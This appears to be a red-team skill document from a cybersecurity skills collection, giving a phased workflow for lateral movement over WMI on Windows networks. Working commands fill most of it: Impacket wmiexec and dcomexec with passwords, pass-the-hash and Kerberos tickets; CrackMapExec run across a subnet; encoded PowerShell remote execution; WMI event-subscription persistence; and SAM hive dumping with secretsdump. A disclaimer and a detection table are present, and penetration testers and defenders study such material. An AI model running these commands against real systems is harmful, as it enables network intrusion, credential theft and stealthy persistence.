Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nWMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing lateral movement with wmiexec\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Execute remote commands on Windows targets using WMI-based techniques\n- Establish semi-interactive shells via Impacket wmiexec.py\n- Perform lateral movement with Pass-the-Hash using WMI\n- Use CrackMapExec for multi-target WMI command execution\n- Execute native PowerShell WMI commands for fileless lateral movement\n- Chain WMI with credential harvesting for network-wide access\n\n## MITRE ATT&CK Mapping\n\n- **T1047** - Windows Management Instrumentation\n- **T1021.003** - Remote Services: Distributed Component Object Model (DCOM)\n- **T1550.002** - Use Alternate Authentication Material: Pass the Hash\n- **T1059.001** - Command and Scripting Interpreter: PowerShell\n- **T1570** - Lateral Tool Transfer\n\n## Workflow\n\n### Phase 1: WMIExec with Impacket\n1. Execute a semi-interactive shell with credentials:\n   ```bash\n   # With cleartext password\n   wmiexec.py domain.local/admin:'Password123'@10.10.10.50\n\n   # With NT hash (Pass-the-Hash)\n   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50\n\n   # With Kerberos ticket\n   export KRB5CCNAME=admin.ccache\n   wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local\n\n   # Execute specific command (non-interactive)\n   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 \"ipconfig /all\"\n   ```\n2. Execute commands without output file (stealthier using DCOM):\n   ```bash\n   # Using dcomexec.py as alternative (MMC20.Application DCOM object)\n   dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50\n\n   # Using ShellWindows DCOM object\n   dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50\n   ```\n\n### Phase 2: CrackMapExec Multi-Target Execution\n1. Execute commands across multiple targets:\n   ```bash\n   # Execute single command on subnet\n   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x \"whoami\"\n\n   # Execute with hash\n   crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x \"ipconfig\"\n\n   # Execute PowerShell command\n   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X \"Get-Process\"\n\n   # Check local admin access via WMI\n   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'\n   ```\n\n### Phase 3: Native WMI Commands (Windows)\n1. Execute remote commands using built-in Windows WMI tools:\n   ```powershell\n   # Using wmic.exe (deprecated but still available)\n   wmic /node:10.10.10.50 /user:domain\\admin /password:Password123 process call create \"cmd.exe /c whoami > C:\\temp\\out.txt\"\n\n   # Using PowerShell Invoke-WmiMethod\n   $cred = Get-Credential\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"cmd.exe /c ipconfig > C:\\temp\\output.txt\"\n\n   # Using CIM sessions (modern replacement for WMI)\n   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred\n   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `\n     -MethodName Create -Arguments @{CommandLine=\"cmd.exe /c whoami\"}\n   ```\n2. Fileless PowerShell execution via WMI:\n   ```powershell\n   # Execute encoded PowerShell command remotely\n   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\\temp\\procs.txt'))\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"powershell.exe -enc $cmd\"\n   ```\n\n### Phase 4: WMI-Based Persistence\n1. Create WMI event subscriptions for persistence:\n   ```powershell\n   # Create WMI event subscription (command runs on every logon)\n   $filter = Set-WmiInstance -Namespace \"root\\subscription\" -Class __EventFilter `\n     -Arguments @{Name=\"PersistFilter\"; EventNamespace=\"root\\cimv2\";\n                  QueryLanguage=\"WQL\"; Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"}\n\n   $consumer = Set-WmiInstance -Namespace \"root\\subscription\" -Class CommandLineEventConsumer `\n     -Arguments @{Name=\"PersistConsumer\"; CommandLineTemplate=\"cmd.exe /c <payload>\"}\n\n   Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding `\n     -Arguments @{Filter=$filter; Consumer=$consumer}\n   ```\n\n### Phase 5: Chaining with Credential Harvesting\n1. Use WMI for remote credential extraction:\n   ```bash\n   # Dump SAM hashes via WMI + reg save\n   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 \"reg save HKLM\\SAM C:\\temp\\sam && reg save HKLM\\SYSTEM C:\\temp\\system\"\n\n   # Download saved hives\n   smbclient.py domain.local/admin:'Password123'@10.10.10.50\n   > get C:\\temp\\sam\n   > get C:\\temp\\system\n\n   # Extract hashes from saved hives\n   secretsdump.py -sam sam -system system LOCAL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) |\n| dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) |\n| CrackMapExec | Multi-target WMI execution | Linux (Python) |\n| wmic.exe | Native Windows WMI command-line tool | Windows |\n| PowerShell CIM | Modern WMI cmdlets | Windows |\n| SharpWMI | .NET WMI execution tool | Windows (.NET) |\n\n## WMI Execution Methods Comparison\n\n| Method | Service Created | Output Method | Stealth Level |\n|--------|----------------|---------------|---------------|\n| wmiexec.py | No | Temp file on ADMIN$ | Medium |\n| dcomexec.py | No | Temp file on ADMIN$ | Medium-High |\n| wmic.exe | No | None (blind) or redirect | Medium |\n| PowerShell WMI | No | None (blind) or redirect | High |\n| PsExec (comparison) | Yes | Service output pipe | Low |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process |\n| WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files |\n| Remote WMI connections (DCOM/135) | Network monitoring for DCOM traffic to workstations |\n| WmiPrvSE.exe spawning cmd.exe/powershell.exe | EDR process tree analysis |\n| Event 5857/5860/5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |\n\n## Validation Criteria\n\n- [ ] WMIExec shell established on remote target\n- [ ] Pass-the-Hash execution validated via WMI\n- [ ] Multi-target command execution via CrackMapExec WMI\n- [ ] Native PowerShell WMI commands executed remotely\n- [ ] Credential harvesting performed via WMI execution chain\n- [ ] No service creation artifacts on target systems\n- [ ] Evidence documented with command outputs and screenshots\n\n## Other files in this skill\n\n- [LICENSE](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/LICENSE)\n- [assets/template.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/assets/template.md)\n- [references/api-reference.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/references/api-reference.md)\n- [references/standards.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/references/standards.md)\n- [references/workflows.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/references/workflows.md)\n- [scripts/agent.py](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py)\n- [scripts/process.py](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/scripts/process.py)\n\n## assets/template.md (verbatim)\n\n# WMI Lateral Movement Report Template\n\n## Movement Log\n\n| #
